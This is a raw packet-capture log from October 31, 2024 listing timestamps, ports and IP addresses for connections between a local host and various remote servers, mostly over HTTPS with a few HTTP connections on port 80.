Oct 31, 2024 03:04:27.867636919 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.867705107 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.867712975 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.867785931 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.867835999 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.867842913 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.868143082 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.868225098 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.868252993 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.868266106 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.868371010 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.868402004 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.871244907 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.871321917 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.871331930 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.871596098 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.871678114 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.871682882 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.871712923 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.871817112 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.871829987 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.872152090 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.872229099 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.872236967 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.872313023 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.872366905 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.872374058 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.873001099 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.873084068 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.873095989 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.873110056 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.873255968 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.873308897 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.873317003 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.873390913 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.873872042 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.874073029 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.874126911 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.874136925 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.879328012 CET	443	49824	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:27.883330107 CET	443	49827	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.883339882 CET	443	49825	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:27.887336969 CET	443	49826	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:27.900866032 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.900892973 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.900969028 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.901334047 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.901345015 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.914225101 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.914315939 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.914325953 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.914463997 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.914544106 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.914557934 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.914640903 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.914746046 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.914752960 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.919162035 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.919246912 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.919262886 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.919280052 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.919342995 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.919435978 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.919658899 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.919883013 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.920113087 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.920126915 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.920134068 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.920201063 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.997800112 CET	443	49815	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.998282909 CET	443	49817	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.998342037 CET	49815	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.998361111 CET	443	49815	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.998915911 CET	49815	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.998920918 CET	443	49815	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.999265909 CET	49817	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.999284029 CET	443	49817	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.999919891 CET	49817	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.999924898 CET	443	49817	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.007956982 CET	443	49818	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.008466005 CET	443	49820	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.008532047 CET	49818	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.008569956 CET	443	49818	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.008908987 CET	49818	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.008923054 CET	443	49818	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.009105921 CET	49820	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.009120941 CET	443	49820	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.009455919 CET	49820	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.009460926 CET	443	49820	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.022697926 CET	443	49821	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.024841070 CET	49821	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.024868965 CET	443	49821	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.025645018 CET	49821	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.025656939 CET	443	49821	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.130290031 CET	443	49817	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.130379915 CET	443	49817	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.130527020 CET	49817	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.132106066 CET	443	49815	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.132179022 CET	443	49815	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.132272959 CET	49815	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.141232014 CET	443	49818	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.141537905 CET	443	49818	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.141602993 CET	49818	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.142707109 CET	49817	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.142720938 CET	443	49817	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.152158022 CET	49815	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.152174950 CET	443	49815	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.152189970 CET	49815	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.152195930 CET	443	49815	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.155013084 CET	443	49821	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.155148029 CET	443	49821	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.155208111 CET	49821	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.155599117 CET	49821	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.155618906 CET	443	49821	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.161309004 CET	49818	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.161348104 CET	443	49818	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.161400080 CET	49818	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.161417007 CET	443	49818	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.167825937 CET	49834	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.167866945 CET	443	49834	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.167989969 CET	49834	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.171469927 CET	49834	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.171503067 CET	443	49834	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.173453093 CET	49835	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.173486948 CET	443	49835	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.173549891 CET	49835	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.173788071 CET	49835	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.173799992 CET	443	49835	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.177119970 CET	49836	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.177139997 CET	443	49836	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.177223921 CET	49836	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.177445889 CET	49836	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.177460909 CET	443	49836	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.179059029 CET	49837	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.179095030 CET	443	49837	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.179158926 CET	49837	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.179280996 CET	49837	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.179310083 CET	443	49837	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.184981108 CET	443	49825	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:28.185060978 CET	49825	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:28.185326099 CET	443	49824	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:28.185376883 CET	49824	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:28.203701019 CET	443	49826	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:28.203855991 CET	49826	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:28.229106903 CET	443	49816	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:28.229191065 CET	49816	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:28.244683981 CET	49816	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:28.244720936 CET	443	49816	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:28.244997978 CET	443	49816	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:28.245789051 CET	49816	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:28.245857954 CET	49816	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:28.245882034 CET	443	49816	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:28.329899073 CET	443	49819	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:28.330310106 CET	49819	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:28.330327988 CET	443	49819	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:28.330948114 CET	49819	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:28.330952883 CET	443	49819	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:28.330996037 CET	49819	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:28.331005096 CET	443	49819	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:28.347883940 CET	443	49820	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.347963095 CET	443	49820	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.348012924 CET	49820	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.348298073 CET	49820	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.348319054 CET	443	49820	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.349443913 CET	443	49827	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.349502087 CET	49827	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.352051973 CET	49838	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.352070093 CET	443	49838	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.352163076 CET	49838	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.352286100 CET	49838	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.352298021 CET	443	49838	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.383980036 CET	49839	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:28.384037018 CET	443	49839	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:28.384171963 CET	49839	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:28.384345055 CET	49839	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:28.384375095 CET	443	49839	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:28.462732077 CET	49840	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:28.462764025 CET	443	49840	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:28.462964058 CET	49840	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:28.463179111 CET	49840	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:28.463186979 CET	443	49840	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:28.471966982 CET	443	49832	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:28.472601891 CET	49832	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:28.472621918 CET	443	49832	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:28.474087000 CET	443	49832	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:28.474119902 CET	443	49830	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:28.474220991 CET	49832	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:28.475140095 CET	49830	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:28.475155115 CET	443	49830	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:28.475402117 CET	49832	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:28.475526094 CET	443	49832	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:28.475923061 CET	49841	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:28.475955009 CET	443	49841	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:28.476102114 CET	49841	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:28.476203918 CET	49832	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:28.476233006 CET	443	49832	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:28.476264000 CET	443	49830	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:28.476329088 CET	49830	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:28.476355076 CET	49841	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:28.476381063 CET	443	49841	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:28.477969885 CET	49830	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:28.478027105 CET	443	49830	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:28.478648901 CET	49830	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:28.478657007 CET	443	49830	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:28.499716997 CET	443	49828	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:28.499927998 CET	49828	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:28.499947071 CET	443	49828	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:28.501022100 CET	443	49828	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:28.501076937 CET	49828	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:28.502021074 CET	49828	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:28.502085924 CET	443	49828	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:28.502157927 CET	49828	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:28.502167940 CET	443	49828	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:28.610354900 CET	443	49832	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:28.610589027 CET	49832	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:28.610797882 CET	49832	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:28.610822916 CET	443	49832	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:28.611151934 CET	443	49830	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:28.611223936 CET	49830	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:28.611676931 CET	49830	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:28.611689091 CET	443	49830	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:28.615840912 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.616652966 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.616661072 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.617769003 CET	49828	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:28.618160963 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.618267059 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.619271040 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.619355917 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.619446993 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.628511906 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.629312038 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.629331112 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.630481005 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.630549908 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.630873919 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.630932093 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.631030083 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.637911081 CET	443	49828	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:28.638029099 CET	443	49828	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:28.638250113 CET	49828	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:28.638322115 CET	49828	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:28.638335943 CET	443	49828	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:28.640449047 CET	443	49816	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:28.667329073 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.671339035 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.751852036 CET	443	49816	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:28.751943111 CET	49816	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:28.755798101 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.755799055 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.755806923 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.755808115 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.763339996 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:28.763413906 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:28.784624100 CET	49816	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:28.784625053 CET	49816	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:28.784650087 CET	443	49816	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:28.784672976 CET	443	49816	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:28.875083923 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.875113010 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.875133038 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.875180960 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.875174046 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.875211954 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.875241041 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.875255108 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.875274897 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.875298023 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.875380039 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.882096052 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.882105112 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.882131100 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.882141113 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.882149935 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.882162094 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.882170916 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.882186890 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.882190943 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.882211924 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.902878046 CET	443	49834	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.903270006 CET	443	49836	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.908520937 CET	49834	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.908559084 CET	443	49834	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.909074068 CET	49834	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.909085989 CET	443	49834	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.909657955 CET	49836	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.909674883 CET	443	49836	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.910242081 CET	49836	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.910248041 CET	443	49836	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.913466930 CET	443	49835	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.914175034 CET	49835	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.914191008 CET	443	49835	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.916013956 CET	49835	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.916018009 CET	443	49835	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.929224968 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.929282904 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.949600935 CET	443	49837	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.953411102 CET	49837	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.953449965 CET	443	49837	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.953996897 CET	49837	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.954010963 CET	443	49837	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.964739084 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:28.969463110 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:28.988122940 CET	443	49839	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:28.988620043 CET	49839	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:28.988658905 CET	443	49839	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:28.989713907 CET	443	49839	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:28.989800930 CET	49839	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:28.990180016 CET	49839	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:28.990252972 CET	443	49839	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:28.990396023 CET	49839	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:28.993424892 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.993452072 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.993501902 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.993537903 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.993537903 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.993539095 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.993558884 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.993566990 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.993578911 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.993603945 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.993603945 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.993623972 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.993669033 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.998785019 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.998792887 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.998815060 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.998822927 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.998836994 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.998843908 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:28.998853922 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:28.998908997 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.031368017 CET	443	49839	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:29.033418894 CET	443	49834	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.033716917 CET	443	49834	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.033787966 CET	49834	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.034336090 CET	49834	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.034368038 CET	443	49834	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.034394026 CET	49834	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.034408092 CET	443	49834	13.107.246.45	192.168.2.5
